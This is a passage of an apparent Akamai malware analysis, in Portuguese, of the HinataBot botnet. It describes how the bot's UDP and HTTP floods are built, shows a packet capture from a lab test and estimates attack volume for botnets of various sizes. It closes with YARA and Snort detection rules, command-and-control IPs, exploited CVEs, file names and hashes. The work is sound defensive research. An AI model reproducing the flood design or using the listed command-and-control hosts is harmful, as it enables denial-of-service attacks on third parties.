O comando de ataque parece ligeiramente diferente da variante http_flood , principalmente devido ao valor UDP_OPTIONS passado (1531337) no parâmetro final. Este parâmetro controla a porta visada para a qual os pacotes UDP serão enviados. O valor é composto por três partes, a primeira parte é o tipo de parâmetro (1), a segunda é o comprimento (5) do valor, e a terceira é o próprio valor (31337).
Parece que este quarto parâmetro é necessário para a análise do comando, mas o valor pode ser descartado e, se nenhum valor de porta for fornecido aqui, o binário será padronizado para UDP/80 como a porta de destino do ataque. Inicialmente, já que esses dados são passados dessa maneira, havia uma suposição de que encontraríamos outros parâmetros de configuração adicionais para 1-9, mas parece que apenas o parâmetro de porta (1) tem algum efeito no tráfego de ataque que sai do bot.
A captura de tela na Figura 34 mostra a configuração do soquete udp_flood . Ela utiliza a biblioteca net do Gol usando net.Dial para criar o soquete UDP. Em seguida, ela cria 512 trabalhadores que compartilham o soquete, cada um executando em um loop, empurrando dados pelo soquete até que o cronômetro de duração envie a eles um comando de interrupção por meio de um canal compartilhado. Os pacotes UDP (Figura 35) que saem do bot são muito grandes (65.549 bytes por pacote no total) e provavelmente chegarão fragmentados às vítimas pela Internet. Esse tamanho é codificado no binário e não está sob o controle do invasor por ataque.
15:59:00.451351 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.451679 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.458964 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.459266 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.460467 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461456 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461807 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.462932 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463561 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463786 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465147 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465835 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466018 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466740 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467265 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467407 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468113 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468737 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.469076 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.470517 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471034 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471214 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471957 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472804 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472940 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length
Fig. 35: Captura de pacotes de pacotes de ataque UDP
Os 65.507 bytes compactados no segmento de dados UDP são todos bytes nulos (Figura 36). O cabeçalho de ID do IP incrementa sequencialmente durante o ataque e, embora a porta de origem seja efêmera, ela permanece estática durante a inundação. Isso é provavelmente um efeito colateral do net.Dial gerenciando o soquete UDP em todo o pool de trabalhadores do invasor. Outro pronto a se observar são as somas de verificação com falha nos dados UDP.
Como essa medida foi feita?
Para comparar esses dois métodos de ataque, executamos dois ataques de 10 segundos, um para cada método, gravando apenas os fluxos de ataque da rede para as capturas de pacotes. Pudemos ver o tamanho geral do tráfego gerado por tipo de ataque.
O protocolo http_flood gerou 3,4 MB de dados de captura de pacotes e enviou 20.430 solicitações HTTP. Os tamanhos das solicitações variaram de 484 a 589 bytes por solicitação, com tamanhos variando principalmente devido à randomização dos dados do cabeçalho User-Agent e Cookie. Esses comprimentos de pacote de solicitação também serão afetados pela inclusão de cabeçalhos adicionais (por exemplo, dados básicos de autorização), caminho de URL, preenchimento de parâmetro GET e inclusão de TLS, portanto, use-os com cautela.
Vale ressaltar que o servidor visado durante esse evento de ataque também era muito simples e de thread único. É possível que se o ataque for direcionado a um servidor capaz de responder mais rapidamente ao pool de trabalhadores, esses números possam aumentar.
O protocolo udp_flood gerou 6.733 pacotes para um total de 421 MB de dados de captura de pacotes na rede. Não há nada muito mais interessante sobre esse ataque: ele é de natureza volumétrica e parece fazer um trabalho decente em aumentar o volume. Conforme declarado anteriormente, devido ao tamanho dos pacotes gerados por esse ataque, as vítimas provavelmente verão uma enxurrada de fragmentos durante eventos de ataque reais.
Usando nossos conjuntos de amostras de 10 segundos e um tamanho teórico da botnet, podemos começar a estimar o tamanho do ataque. Se a botnet contivesse apenas 1.000 nós, a inundação de UDP resultante pesaria cerca de 336 Gbps por segundo. Com 10.000 nós (aproximadamente 6,9% do tamanho do Mirai em seu pico), a inundação de UDP pesaria mais de 3,3 Tbps. A inundação de HTTP em 1.000 nós geraria aproximadamente 2,7 Gbps e mais de 2 Mrps. Com 10.000 nós, esses números saltam para 27 Gbps, entregando 20,4 Mrps.
Esses recursos teorizados obviamente não levam em consideração os diferentes tipos de servidores que estariam participando, suas respectivas larguras de banda e recursos de hardware, etc., mas você entendeu o quadro. Vamos torcer para que os autores do HinataBot mudem para novos hobbies antes de termos que lidar com sua botnet em qualquer escala real.
Conclusão
O HinataBot é o exemplo mais recente do cenário de ameaças em evolução, principalmente em relação a botnets. Os autores de malware continuam inovando no uso de métodos de implementação, linguagens e métodos de distribuição. Apoiando-se em técnicas mais antigas e comprovadas, como as usadas no Mirai, os invasores podem se concentrar mais na curadoria de peças que evitam a detecção, evoluem continuamente e adicionam novas funcionalidades.
Ao continuar explorando e analisando ameaças em evolução, como o HinataBot, podemos entender melhor as táticas, técnicas e procedimentos dos invasores para desenvolver defesas mais robustas contra eles. A família HinataBot depende de vulnerabilidades antigas e senhas fracas de força bruta para a distribuição. Este é mais um exemplo de por que senhas fortes e políticas de correção são mais fundamentais do que nunca. Os invasores estão sempre procurando o alvo mais fácil e o maior retorno sobre o investimento. Portanto, dificultar o sucesso dos ataques ajuda significativamente a manter seu ambiente e a Internet seguros.
Esse é provavelmente apenas o começo para o HinataBot. A SIRT da Akamai continuará monitorando sua evolução ao longo do tempo e relatando novas descobertas quando relevantes.
Os clientes da Akamai estão protegidos contra os dois recursos de ataque com os quais esse botnet é compatível.
A Akamai mitiga ataques não relacionados a HTTP de forma transparente na edge, incluindo inundações de UDP, TCP e ICMP.
O Akamai App & API Protector mitiga automaticamente ataques a aplicações da Web na camada 7, como esse, por meio do Akamai Client Reputation, Rate Controls, Akamai Bot Manager e das regras de firewall de aplicações da Web.
Caso você tenha outras dúvidas sobre as defesas contra esse botnet, consulte a equipe de contas da Akamai para obter mais informações.
IOCs
regras YARA
Binários HinataBot
rule detect_hinatabot_strings {
Meta:
description = "This rule detects HinataBot binaries."
confidence = "high"
strings:
$s1 = "HINATA_START_NICE"
$s2 = "API_CONNECT_BOT"
$s3 = "Connection to CNC is OK!"
$s4 = "API_CONNECTION_SIGNAL_CHECK"
$s5 = "API_CONNECTION_SIGNAL_OK"
$s6 = "API_CONNECTION_ATTACK"
$s7 = "Hinata already running"
$s8 = "API_CONNECTION_KILL_ALL"
$s9 = "hinata_exists"
$s10 = "hinata_loaded"
$s11 = "HINATA_"
condition:
3 of ($s*)
}
Scripts de infecção do HinataBot
rule detect_malicious_files {
meta:
description = "This rule detects infector scripts attempting to pull down HinataBot binaries."
confidence = "high"
strings:
$file_names = /hinata-[a-z\.0-9]+/
condition:
all of them
}
Regras snort
http_flood
alert tcp any any -> any any (msg:"HTTP Request with HinataBot’s static header values"; flow:established, to_server; sid:1000001; rev:1; content:"Accept-Charset|3a| ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15|0d 0a|"; content:"Accept-Encoding|3a| *,identity,gzip,deflate|0d 0a|"; content:"Content-Type|3a| multipart/form-data, application/x-url-encoded|0d 0a|"; http_method;)
Comunicações a partir do servidor C2
alert tcp any any -> any 1420 (msg:"HinataBot API inbound connection detected."; sid:1000002; rev:1; content:"API_CONNECTION_SIGNAL_CHECK"; )
Comunicações para o servidor C2
alert tcp any any -> any 1420 (msg:"HinataBot API outbound connection detected."; sid:1000003; rev:1; content:"API_CONNECTION_SIGNAL_OK"; content:"API_CONNECTION_ATTACK";)
IPs
77.73.131.247
156.236.16.237
185.112.83.254
Portas
61420
1420
CVEs
CVE-2017-17215,
CVE-2014-8361,
Nomes de arquivos
tftp.sh
wget.sh
hinata-linux.amd64
hinata-windows-arm5
hinata-plan9-arm5
hinata-openbsd-arm5
hinata-netbsd-arm5
hinata-linux-arm5
hinata-freebsd-arm5
hinata-windows-arm7
hinata-windows-arm64.exe
hinata-windows-arm6
hinata-windows-arm
hinata-windows-amd64.exe
hinata-windows-386.exe
hinata-solaris-amd64
hinata-plan9-arm7
hinata-plan9-arm6
hinata-plan9-arm
hinata-plan9-amd64
hinata-plan9-386
hinata-openbsd-mips64
hinata-openbsd-arm7
hinata-openbsd-arm64
hinata-openbsd-arm6
hinata-openbsd-arm
hinata-openbsd-amd64
hinata-openbsd-386
hinata-netbsd-arm7
hinata-netbsd-arm64
hinata-netbsd-arm6
hinata-netbsd-arm
hinata-netbsd-amd64
hinata-netbsd-386
hinata-linux-s390x
hinata-linux-riscv64
hinata-linux-ppc64le
hinata-linux-ppc64
hinata-linux-mipsle
hinata-linux-mips64le
hinata-linux-mips64
hinata-linux-mips
hinata-linux-arm7
hinata-linux-arm64
hinata-linux-arm6
hinata-linux-arm
hinata-linux-amd64
hinata-linux-386
hinata-js-wasm
hinata-illumos-amd64
hinata-freebsd-arm7
hinata-freebsd-arm64
hinata-freebsd-arm6
hinata-freebsd-arm
hinata-freebsd-amd64
hinata-freebsd-386
hinata-dragonfly-amd64
hinata-darwin-arm64
hinata-darwin-amd64
hinata-android-arm64
hinata-aix-ppc64
Hashes recentes
01422e34b2114c68cdb6ce685cd2e5673bbe5652259a0c4b862d5de2824a9375
1b958fd718f1419700c53fed10807e873e8399c354877b0a3dfceac7a8581456
8a84dc2a9a06b1fae0dd16765509f88f6f54559c36d4353fd040d02d4563f703
4aba67fdd694219ff0dff07ebd444ed154edacc00c3a61f9b661eabe811a0446
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
c6a7e25290677cc7b9331343166b140f2c320764a815b241747e6913b1a386d9
92adfbe6aae06d7c99469aeb6551db8eee964b589f2b8774e29d987cfbd0e0d6
8eda08ce362c09b5f45772467f94d5370068c1798f78c5316f15647ac898c621
ff7638c0c893c021c3a059a21a71600249881afd84dc0d751d99db1c8edd3cac
a3fac6fea9201c3c3eaae47bd95e0be93e91298e48df75540958834f9e75ac4d
9875bb9dd6d159a3b327de80e151ef7f3831c0d6833ae781490d68e426b73680
6ec35ef48ffdf9a92aa8845c336b327c280e1f20d7130ba0856540aed3233bbc
C0aa34dd8dbf654d5230d4ef1db61f9befc89a0ea16cb7757edbf8a8090c9146
5643bf01e113de246575a9ec39ea12a85f9babb6ac069132ad8d1a7bfa56ed1b
845134ee7335f07b23e081f024cad5cbfc9ef453d6e2adc7970d6543292e5bcc
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
07326cce5325eabbe1caa2b3f8a4ab78e7913b65703c0afc3bab808441c30688
61181b4b7b7040ce4ab9c489a2b857f5a7fe8407c422327fff798f3b55e0cbe3
75c050580725279a6592eecc2b02b6fa78f5469c2f08fb1d0e2fe616beb8bf0d
E3427838132b6161f10e77d0beca1beac90c63a8ccc4aabd523041aec25aab67